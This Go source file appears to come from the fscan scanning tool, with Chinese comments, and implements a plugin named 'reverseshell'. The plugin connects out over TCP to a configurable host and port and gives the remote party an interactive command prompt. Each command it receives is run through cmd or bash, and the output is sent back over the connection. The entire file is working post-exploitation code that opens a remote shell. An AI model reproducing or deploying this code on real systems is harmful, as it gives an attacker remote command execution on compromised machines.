package local import ( "bufio" "context" "fmt" "io" "net" "os" "os/exec" "runtime" "strconv" "strings" "github.com/shadow1ng/fscan/common" ) // ReverseShellPlugin 反弹Shell插件 - Linus式简化版本 // // 设计哲学:直接实现,删除过度设计 // - 删除复杂的继承体系 // - 直接实现反弹Shell功能 // - 保持原有功能逻辑 type ReverseShellPlugin struct { name string target string // 目标地址:端口 host string port int } // NewReverseShellPlugin 创建反弹Shell插件 func NewReverseShellPlugin() *ReverseShellPlugin { target := common.ReverseShellTarget if target == "" { target = "127.0.0.1:4444" } // 解析目标地址 host, portStr, err := net.SplitHostPort(target) if err != nil { host = target portStr = "4444" } port, err := strconv.Atoi(portStr) if err != nil { port = 4444 } return &ReverseShellPlugin{ name: "reverseshell", target: target, host: host, port: port, } } // GetName 实现Plugin接口 func (p *ReverseShellPlugin) Name() string { return p.name } // Scan 执行反弹Shell - 直接实现 func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { var output strings.Builder output.WriteString("=== Go原生反弹Shell ===\n") output.WriteString(fmt.Sprintf("目标: %s\n", p.target)) output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) // 启动反弹Shell err := p.startNativeReverseShell(ctx, p.host, p.port) if err != nil { output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } output.WriteString("✓ 反弹Shell已完成\n") common.LogSuccess(fmt.Sprintf("反弹Shell完成 - 目标: %s", p.target)) return &ScanResult{ Success: true, Output: output.String(), Error: nil, } } // startNativeReverseShell 启动Go原生反弹Shell func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error { // 连接到目标 conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) if err != nil { return fmt.Errorf("连接失败: %v", err) } defer conn.Close() common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port)) // 设置反弹Shell为活跃状态 common.ReverseShellActive = true defer func() { common.ReverseShellActive = false }() // 发送欢迎消息 welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) conn.Write([]byte(welcomeMsg)) conn.Write([]byte("Type 'exit' to quit\n")) // 创建读取器 reader := bufio.NewReader(conn) for { // 检查上下文取消 select { case <-ctx.Done(): conn.Write([]byte("Shell session terminated by context\n")) return ctx.Err() default: } // 发送提示符 prompt := fmt.Sprintf("%s> ", getCurrentDir()) conn.Write([]byte(prompt)) // 读取命令 cmdLine, err := reader.ReadString('\n') if err != nil { if err == io.EOF { return nil } return fmt.Errorf("读取命令错误: %v", err) } // 清理命令 cmdLine = strings.TrimSpace(cmdLine) if cmdLine == "" { continue } // 检查退出命令 if cmdLine == "exit" { conn.Write([]byte("Goodbye!\n")) return nil } // 执行命令 result := p.executeCommand(cmdLine) // 发送结果 conn.Write([]byte(result + "\n")) } } // executeCommand 执行系统命令 func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { var cmd *exec.Cmd // 根据操作系统选择命令解释器 switch runtime.GOOS { case "windows": cmd = exec.Command("cmd", "/C", cmdLine) case "linux", "darwin": cmd = exec.Command("bash", "-c", cmdLine) default: return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) } // 执行命令并获取输出 output, err := cmd.CombinedOutput() if err != nil { return fmt.Sprintf("错误: %v\n%s", err, string(output)) } return string(output) } // getCurrentDir 获取当前目录 func getCurrentDir() string { dir, err := os.Getwd() if err != nil { return "unknown" } return dir } // 注册插件 func init() { RegisterLocalPlugin("reverseshell", func() Plugin { return NewReverseShellPlugin() }) }